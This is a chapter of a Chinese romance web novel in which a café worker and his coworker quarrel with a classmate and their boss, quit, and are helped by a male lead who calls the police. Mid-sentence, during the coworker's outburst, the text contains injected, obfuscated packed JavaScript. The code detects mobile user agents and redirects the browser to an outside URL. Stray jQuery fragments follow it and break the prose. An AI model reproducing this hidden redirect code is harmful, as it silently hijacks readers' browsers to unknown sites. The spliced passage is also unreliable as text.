预想中的疼痛没有到来。

    一只有力的手从后背稳稳托住纪含朝的腰,纪含朝整个人被揽着,后脑勺撞上一片结实的胸膛,鼻腔里是干净、清冽的薄荷香。

    纪含朝愣了一下,几乎整个人都瘫在背后人身上,他还没反应过来,头顶上方就先传来一道平缓的声音:“在这里动手,不太合适吧。”

    纪含朝浑身一僵。

    怎么又是他!

    两人离得太近,哪怕隔着衣服,纪含朝也能清晰地感受到江帆迟的体温。纪含朝僵着脖子,后颈的皮肤紧张得泛起了淡粉,耳尖也在发烫,他根本不敢回头,也不敢说话,只低着头默默扶着一旁的桌子站好。

    纪含朝站好后,轻轻扭动了下身子,试图从江帆迟怀里挣脱出来,结果动了好几下,揽住他腰的手还是纹丝不动。

    纪含朝:“?”

    这人没感觉的吗!

    他不信邪,又拱了几下,结果腰间的手不仅没放开,还越收越紧了。

    纪含朝:“……”

    纪含朝不敢动了。

    程淼见纪含朝没摔倒,松了口气,她本来想着这是他们的私人恩怨,在店里吵不合适,想带陈浩出去说,却没想到陈浩竟然直接动手了,那她现在也顾不了那么多了,大不了就是被扣点工资。

    她转头看向陈浩,“你什么意思?这是我们俩的事,你推他干什么?给他道歉!”

    陈浩也没想到纪含朝那么不经碰,他没觉得自己用了多大劲,看到纪含朝被他推倒他其实也被吓到了。但现在看到人没事,又听到程淼这样说,只觉得怒火再次席卷心头。

    “道歉?我给他道歉?你在做梦吗?你害得我不能正常毕业还要我给他道歉?我根本就没用劲儿,谁知道他是怎么倒的?说不定是来碰瓷想讹我的呢?还要我给他道歉?你想得美!”

    程淼气得脸都白了,“你还有理了是吧?人家从头到尾好声好气跟你说话,你上来就动手推人,现在还说人家碰瓷?陈浩你要不要脸?”

    “我不要脸?”陈浩像是被踩了尾巴的猫,“程淼你搞清楚,是你先坑我的!我挂科延毕都是你害的!你现在反倒倒打一耙!”

    程淼打断他,嗤笑一声,声音冷下来,“呵呵,当初让你查资料你推脱,让你做实验你不来,让你做ppt你说你没时间,整个作业几乎都是我一手包揽,我凭什么加上你的名字?再说,我当初就告诉过你,你不来可以,后果自负就行,你不是答应得好好的吗?现在这是又怎么了?”

    陈浩脸色涨红,依旧嘴硬,“我都说了我有事了,你为什么还要不依不饶?而且我也不是什么都不做,我不是说我可以上台汇报吗?是你不让我去,现在又把我的名字从作业里删掉,你是不是故意不想让我毕业?”

    在一旁看热闹的盛煜闻言插话道:“哦,我算是听明白了。你的意思就是,虽然你什么都没干,但小组作业也必须加上你的名字,不然就是针对你是吗?”

    陈浩被这话噎了一下,下意识想反驳,但看盛煜穿着讲究,身上还都是大牌,语气不自觉弱了点,“这位帅哥,我说了,我不是什么都不干,是程淼她不让我干,她就是故意的!”

    “帅哥?”捕捉到重点,盛煜笑了,他指着自己的脸,又指着江帆迟,问陈浩,“哎,那你说是我帅还是他帅?”

    纪含朝:“……”

    程淼:“……”

    “……”江帆迟,“你闲得没事干了?”

    “有啊,”盛煜笑,“我这不是在给他们添乱吗?”

    盛煜看着江帆迟这副道貌岸然的模样,只觉得好笑,刚才还在他面前装得一点不在乎的样子,一看到人家要摔了跑得比谁都快,现在还抱着不撒手,都这样了还跟他说他们不认识。

    呵呵,难道闷骚都是这个死样子?

    陈浩听出盛煜是来看热闹的,估摸着他不会插手,索性没搭理他。

    眼下他满脑子只想着自己延毕的事,不想再跟其他人多费口舌,只盯着程淼:“不管你说什么,今天你必须跟我走,不然我跟你没完!”

    “呵呵,”程淼冷笑一声,说:“如果我偏不呢?”

    “你不走,那我就让你走。”说着,陈浩又伸手去抓程淼的胳膊,打算逼她就范。

    程淼往后退,想躲开,只是还没退几步,陈浩的手就被另一只手拦住了。

    “同学,我刚才有没有说过,在这里动手不太好吧?”江帆迟用力掰了一下陈浩的手腕,陈浩忍不住发出一声痛呼,江帆迟放开他的手,笑眯眯地说,“你们吵架我不管,但公共场合,还请不要动手。”

    陈浩捧着刺痛的手腕,看着江帆迟,“你你你……!”

    江帆迟挑眉,“我我我?”

    陈浩语气愤怒:“你敢打我!我要报警,我要告你,我要验伤!”

    “哦,请自便。”江帆迟不甚在意,他自己动的手自己清楚,他方才用的劲儿还没他推纪含朝时的劲用得大呢,他就算去验伤,除了浪费点检查费没别的用处。

    再说了,就算他真伤着了,他也赔得起。

    陈浩本来就没打算报警,他心里清楚得很,是他先动的手,也是他自己跑来店里闹事的,真要闹到警察那儿,他估计讨不到半点好处。

    他先前打量过江帆迟,瞧着年纪不大,穿着打扮也不是什么大牌,又跟个小服务员搂搂抱抱的,估摸着就是个普通学生,他拿报警吓唬两句就该退步了。

    谁承想这人不仅不怕,还摆出这样一副满不在乎的样子。陈浩现在被架在这里,简直是骑虎难下,进也不是,退也不是,脸上一阵青一阵白。

    “你不报警是吧?我来报。”

    程淼不想再跟这傻狗在这儿胡搅蛮缠,刚才她被气昏了头,现下才反应过来,明明早就知道这种生物听不懂人话,竟然还浪费时间跟他吵了那么久,她真是脑子进水了。

    “谁要报警?”周俊一进店门,听到的就是这句话。店里吵吵嚷嚷的,一群人围在一起,里面还混着几个穿店服的员工,他看到就一肚子的火。

    “谁要报警?啊?你们围在这里吵什么?还上不上班了?”

    老板来了,纪含朝不敢再任由江帆迟抱着他,轻轻挣扎了一下。而江帆迟的感官系统好似终于恢复正常,察觉到纪含朝的动作,便顺势松开了手。

    纪含朝跟程淼一同走至周俊面前,程淼指着陈浩说:“是我要报警,老板,他在店里大吵大闹,还动手推了朝朝,我——”

    “所以你就想报警?”周俊眉头就拧成了一个川字,没等程淼说完便将她的话打断。他扫了一圈周围围观的客人,脸色沉得能滴水,“报什么警?店里的事店里解决,报警像什么话?传出去我们店还做不做生意了?”

    程淼愣了一瞬。在店里吵架确实是她考虑不周,老板骂她扣她工资她也认了,但是:“老板,他动手打人。”

    “还造谣开黄/腔。”纪含朝在一旁小声补充。

    “对,还对我进行了造谣。”

    “打人?”周俊瞥了一眼纪含朝,见他好好站着,除了脸色有点发白看不出什么伤,“打到哪儿了?伤了还是残了?这不还好端端站在这儿吗?一点小事闹到警察那儿去,你们是不是嫌我店不够热闹?”

    “我不管谁先动的手,在我店里闹事就是你们的问题。你是老员工了,不知道维护店面形象?还有你——”他转头看向纪含朝,“昨天请假,今天又惹出这么大的事,我看你也不想干了,行了,这个月全勤全扣,今天把工资结一下,明天你不用来了。”

    被辞退纪含朝倒是无所谓,毕竟这个老板事实在太多,他早就有不想干的念头,只是一直没实践而已。

    但辞退归辞退,凭什么要扣他的全勤?他每天勤勤恳恳上班容易吗?哪怕现在生着病,身体不舒服为了这三百块钱他也还是来了,凭什么最后一天扣他的钱?

    纪含朝这么想的,也是这么问的,他泪腺浅,再加上病没好心理比平常脆弱,说着说着就哽咽了,长睫轻颤,眼圈发红,看着十分可怜。

    周俊嗤笑一声,“就凭我是你老板,你是我的员工,你表现得不好我凭什么不能扣你的钱?”

    “至于造谣……”周俊又看向程淼,“人家不就随口说几句吗?也不是故意的,你又没什么损失,那么计较干嘛?还闹到报警,像什么样子!你赶快给人家道个歉,不然你也跟——”

    周俊话音未落,一块塑料工牌便迎面砸来,砸得他“哎呦”一声后退几步,庞大的身躯扑通一声坐到了地上。

    程淼胸膛剧烈起伏,显然气得不轻,手还保持着扔东西的动作,“我去你爹的,给你脸了是吧?什么不要脸的话都说得出来,他推人你装瞎,他闹事你装聋,现在还要我去给他道歉?脑子被门夹了吧?知道你是直肠子,但你也不能直接用

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898060|212883||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    嘴拉吧?我去你的,老娘不伺候了,我不干了!”

    纪含朝简直看呆了。

    在他的印象里,程淼大部分的时间都是脾气很好的。虽然有时候说话有点刻薄,也会骂人,但从来都开玩笑地去说,不会带有强烈的攻击性。

    像今天这样又骂人又打人的样子,他是真没见过。

    纪含朝从小就木讷寡言,受了欺负也不敢还手,被人推搡打骂,脸上还得赔着笑。村里的小孩讨厌他,都爱捉弄嘲笑他,说他笨,还给他起了个外号叫“呆头鹅”,他到现在都记得。

    纪含朝不是泥人,当然也有脾气,只是家里穷,他不想给姥姥惹麻烦。姥姥年纪大了,供他上学就已经很不容易,如果他再惹出什么事端,最后苦的还是姥姥。

    所以纪含朝从小就听话,做任何事都小心翼翼,害怕出错,哪怕被人无故刁难,训斥他也总是想着算了,忍一忍,退一步,没关系的。

    可他现在看到程淼这样,突然觉得有点痛快,心里竟也升起一丝想要这样做的念头。

    纪含朝抿着唇,心脏咚咚咚地跳得很快。他犹豫了好一会儿,最后还是决定尊崇自己的内心,也学着程淼把挂在脖子上的工牌扔了出去。

    周俊扶着桌子骂骂咧咧地刚要站起来,被这工牌一砸,再次两脚朝天地坐了下去,店里顿时响起一阵不明显的笑声。

    纪含朝觉得自己可能真的有点坏吧,因为看到周俊这样他也想笑,但明明嘲笑别人是不对的。

    周俊脸涨得通红,指着他们的手指都在抖:“你们、你们敢砸我?!反了,反了!你们给我滚!现在、立刻、马上给我滚!!”

    程淼掏掏耳朵,“你以为我很想留在这儿?你听好了,我和朝朝的工资你最好一分不差给我们结了,否则我明天就去劳动仲裁那边坐坐,看看你这几年的社保到底给员工交齐了没有。”

    “哦,还有,你纵容别人对员工进行造谣,不分青红皂白让被欺负的员工向闹事的人道歉,无故扣工资、开除员工的事,我也会在校园墙上替你好好宣扬一番,不用谢哈。”

    这家店开在大学城,来消费的顾客大多是附近的学生,要是被学生避雷,口碑一崩,店里的生意基本玩完。

    周俊显然也想到了这一层,脸色一变,“等等——”

    “不等。”程度打断他的话,转身就要走,走到一半又想起什么事,冲缩在一旁不敢说话的陈浩喊:“你也出来,我跟你的事还没完呢,我说了,我要报警,你别想就这么走了。”

    话音刚落,门口就突然响起一阵警笛声。

    程淼一愣:“?”

    江帆迟不紧不慢地对他们晃了晃手机,屏幕上还亮着通话记录:“警察来了,不用谢。”

    江帆迟跟警察简单说明了情况,程淼便拉着陈浩一起去了警局。

    客人看完热闹,走的走散的散,店里彻底安静下来。

    纪含朝被辞退了,也没有继续留下的必要,简单收拾了下自己的东西便准备回学校。

    只是刚出店门,他就被人拦了下来。

    纪含朝抬起头,对上那张似笑非笑的脸,后知后觉地有点心虚。

    刚刚在店里,他太着急,也没注意说话的音量,不知道江帆迟有没有认出他的声音。

    应该是认不出来的吧。他们只见过一次,而且那天他全程都夹着嗓子说话,跟平时差别应该还挺大的。

    这么想着,纪含朝稍微定了定神,小声问:“有事吗?”

    江帆迟:“刚才你要摔倒的时候我接住了你,又替你朋友报了警,你不打算跟我说句谢谢吗?”

    原来是想要句谢谢。

    江帆迟确实帮了他,他道声谢是应该的,纪含朝点点头,看向江帆迟,很听话地说:“谢谢你。”

    纪含朝依旧戴着口罩,头发软软地搭在额前,睫毛湿漉漉的,眼底像含着一汪水,一双又大又圆的眼睛就这样眨巴眨巴地看着江帆迟。

    江帆迟被他看得受不了,忍不住在心里啧了一声,都有点不忍心继续欺负他了。

    “这就没了?”江帆迟问。

    纪含朝疑惑:“那……还要说什么?”

    江帆迟很不要脸:“最起码也要说两句好听的吧?”

    “哦哦,”纪含朝思考了一会儿,说:“那……我祝你身体健康,万事如意,财源广进?”

    江帆迟:“……”